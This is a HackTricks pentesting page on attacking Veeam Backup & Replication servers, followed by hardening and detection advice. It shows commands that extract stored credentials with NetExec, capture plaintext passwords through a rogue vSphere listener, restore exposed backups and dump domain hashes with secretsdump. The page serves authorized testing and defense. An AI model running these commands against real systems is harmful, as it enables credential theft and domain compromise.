pentesting-veeam-backup-and-replication.md (9500B)
1 --- 2 title: "Pentesting Veeam Backup & Replication" 3 section: "Network Services" 4 sectionSlug: "network-services-pentesting" 5 sourcePath: "src/network-services-pentesting/pentesting-veeam-backup-and-replication.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-veeam-backup-and-replication.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Pentesting Veeam Backup & Replication 14 15 Veeam backup infrastructure is a high-value trust bridge: the management plane stores credentials for protected systems, controls jobs and repositories, and may contain complete disk images of privileged hosts. A domain-joined backup server also inherits normal Windows attack paths, so an NTLM relay, reused local administrator password, insecure HTTP WSUS channel, or host vulnerability can become access to both production credentials and recovery data.<sup>[[3]](#references)</sup> 16 17 Use the dedicated pages for the generic primitives instead of treating them as Veeam-specific flaws: 18 19 - [LLMNR/NBT-NS poisoning and NTLM relay](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) 20 - [HTTP WSUS interception](/hacktricks/windows-hardening/windows-local-privilege-escalation/overview#wsus) 21 - [Machine-scope DPAPI](/hacktricks/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords#machinesystem-key-generation) 22 - [SMB share enumeration](/hacktricks/network-services-pentesting/pentesting-smb/overview#shared-folders-enumeration) 23 24 ## Stored credential compromise 25 26 ### Recover credentials on the backup server 27 28 On Windows, Veeam protects passwords and other sensitive configuration-database values with DPAPI. This prevents decrypting a copied database on an unrelated machine, but it does not protect the secrets after local Administrator/SYSTEM compromise because Veeam must decrypt them on the backup server.<sup>[[3]](#references)[[4]](#references)</sup> 29 30 With administrative SMB access, NetExec's `veeam` module checks the Veeam registry configuration, supports the local Microsoft SQL Server and PostgreSQL layouts used by Veeam v11/v12, and executes the corresponding credential-recovery script remotely.<sup>[[5]](#references)</sup> 31 32 ```bash 33 nxc smb <veeam-host> -u <local-admin> -p '<password>' -M veeam 34 ``` 35 36 Treat every recovered account as a separate trust path. Backup credentials should not be Domain Admins; otherwise backup-host compromise immediately becomes domain compromise.<sup>[[3]](#references)</sup> 37 38 ### Capture a selected secret with a rogue vSphere endpoint 39 40 Administrative console access is enough to make Veeam use a stored credential against an attacker-controlled endpoint. The original `veeampot.py` emulates vSphere for this purpose; [VeeamThief](https://github.com/mattmillen15/VeeamThief) updates the workflow for Veeam v12+ by implementing the expected `RetrieveInternalContent` responses.<sup>[[1]](#references)[[2]](#references)[[3]](#references)</sup> 41 42 Start the listener: 43 44 ```bash 45 sudo python3 VeeamThief.py -p 8443 46 ``` 47 48 Then, in an authorized test environment: 49 50 1. In **Backup Infrastructure**, start **Add Server -> VMware vSphere**. 51 2. Set the server to `<attacker-ip>:8443` and continue through the test certificate prompt. 52 3. Select the target entry from Veeam Credential Manager. 53 4. Veeam performs the SOAP authentication flow and the listener prints the username and plaintext password. 54 55 This abuses intended secret use rather than breaking DPAPI: the management plane retrieves the selected password and voluntarily sends it to the newly registered endpoint.<sup>[[1]](#references)[[2]](#references)</sup> 56 57 ### Create a deliberately unencrypted backup 58 59 Strong encryption on existing restore points does not help if the attacker controls job creation. A console administrator can select a stored privileged credential, create a new job for a sensitive machine such as a Domain Controller, disable encryption for that job, run it, and copy the newly generated backup for offline analysis.<sup>[[3]](#references)</sup> 60 61 ## Exposed backup files 62 63 ### Offline VBK extraction 64 65 Test anonymous, guest, and low-privilege access to repository shares and search downloaded data for Veeam full backups (`.vbk`), metadata (`.vbm`), incrementals, and exported disk images. Veeam's Extract Utility runs independently of a Veeam server on Windows or Linux; encrypted backup files require the backup password, while an exposed unencrypted VBK can be restored directly.<sup>[[3]](#references)[[6]](#references)</sup> 66 67 ```bash 68 find /mnt/backups -type f \ 69 \( -iname '*.vbk' -o -iname '*.vbm' -o -iname '*.vib' \ 70 -o -iname '*.vhd' -o -iname '*.vhdx' -o -iname '*.vmdk' \) 71 ``` 72 73 ```powershell 74 # Unencrypted VBK 75 extract.exe "Z:\Backups\DC01\DC01.vbk" 76 77 # Encrypted VBK when its recovery password is known 78 extract.exe -password '<backup-password>' "Z:\Backups\DC01\DC01.vbk" 79 ``` 80 81 After restoration, a Domain Controller image may expose `Windows\NTDS\ntds.dit` plus the `SYSTEM` hive; a member-server image may expose `SAM` and `SYSTEM`. Process copies offline rather than touching the live endpoint.<sup>[[3]](#references)</sup> 82 83 ```bash 84 impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL 85 impacket-secretsdump -sam SAM -system SYSTEM LOCAL 86 ``` 87 88 ### Automate VHD/VHDX/VMDK triage with VHDVomit 89 90 [VHDVomit](https://github.com/mattmillen15/VHDVomit) searches an SMB target or local path for disk images, mounts them through `qemu-nbd`, and collects Windows credential artifacts. Its remote mode currently supports password authentication rather than pass-the-hash.<sup>[[3]](#references)[[7]](#references)</sup> 91 92 ```bash 93 sudo apt install -y cifs-utils qemu-utils ntfs-3g 94 pipx install impacket 95 96 sudo python3 vhdvomit.py -t <smb-host> # null auth 97 sudo python3 vhdvomit.py -t <smb-host> -u <user> -p '<pass>' -d <domain> 98 sudo python3 vhdvomit.py --local-path /mnt/backups/ 99 sudo python3 vhdvomit.py --local-path /mnt/backups/DC01.vhdx 100 ``` 101 102 For the equivalent manual Hyper-V image workflow, see [Hyper-V Administrators](/hacktricks/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges#hyper-v-administrators). 103 104 ## Recovery destruction 105 106 Console or write access to a mutable repository can be used to disable jobs and delete, alter, or encrypt recovery points after secrets have been extracted. This combines production compromise with removal of clean restore paths; confirm immutability using a non-destructive, explicitly authorized validation rather than altering real recovery data during a test.<sup>[[3]](#references)</sup> 107 108 ## High-signal review and hardening 109 110 Veeam recommends placing backup components in a separate workgroup or a management domain in another AD forest, using a separate network and a hardened repository, and enabling console MFA. Validate the boundary rather than relying on the architecture diagram: look for foreign group membership, shared administrator passwords, unrestricted workstation-to-console/SQL/SMB paths, and production-domain accounts with backup roles.<sup>[[8]](#references)</sup> 111 112 Technical checks derived from the attack paths above include:<sup>[[3]](#references)[[8]](#references)</sup> 113 114 - Require encryption for every job and keep recovery passwords outside the backup server; alert when a job is created with encryption disabled or its encryption setting changes. 115 - Alert on new vSphere/ESXi endpoints, especially literal IP addresses or unusual port `8443`, and on use of highly privileged Credential Manager entries by new jobs. 116 - Restrict repository ACLs and firewall paths, then monitor anonymous/guest access, unusually large `.vbk`/`.vhdx` reads, mass rename/delete operations, and deletion of restore points. 117 - Restrict and audit access to the Veeam configuration database and Remote Registry; unexpected PowerShell launched through remote administration on the backup server is relevant to credential extraction. 118 - Use dedicated least-privilege backup accounts, MFA for interactive console users, LAPS for local administrators, HTTPS for WSUS, and SMB/LDAP signing and channel binding where applicable. 119 - Keep at least one recovery copy immutable against compromised backup administrators and test that the immutability window survives management-plane compromise. 120 121 ## References 122 123 - [1] [sadshade/veeam-creds - Veeam Credential Recovery and original veeampot technique](https://github.com/sadshade/veeam-creds) 124 - [2] [mattmillen15/VeeamThief - rogue vSphere credential capture for Veeam v12+](https://github.com/mattmillen15/VeeamThief) 125 - [3] [Adversary Consulting - Breaking Bad Backups](https://adversaryco.com/blog/breaking-bad-backups) 126 - [4] [Veeam - How Database Data Encryption Works](https://helpcenter.veeam.com/docs/vbr/userguide/encryption_database_hiw.html) 127 - [5] [NetExec `veeam` credential-extraction module](https://github.com/Pennyw0rth/NetExec/blob/main/nxc/modules/veeam.py) 128 - [6] [Veeam - Extract Utility](https://helpcenter.veeam.com/docs/vbr/userguide/extract_utility.html) 129 - [7] [mattmillen15/VHDVomit - SMB disk-image credential extraction](https://github.com/mattmillen15/VHDVomit) 130 - [8] [Veeam - Securing Backup Infrastructure](https://helpcenter.veeam.com/docs/vbr/userguide/securing_backup_infrastructure.html)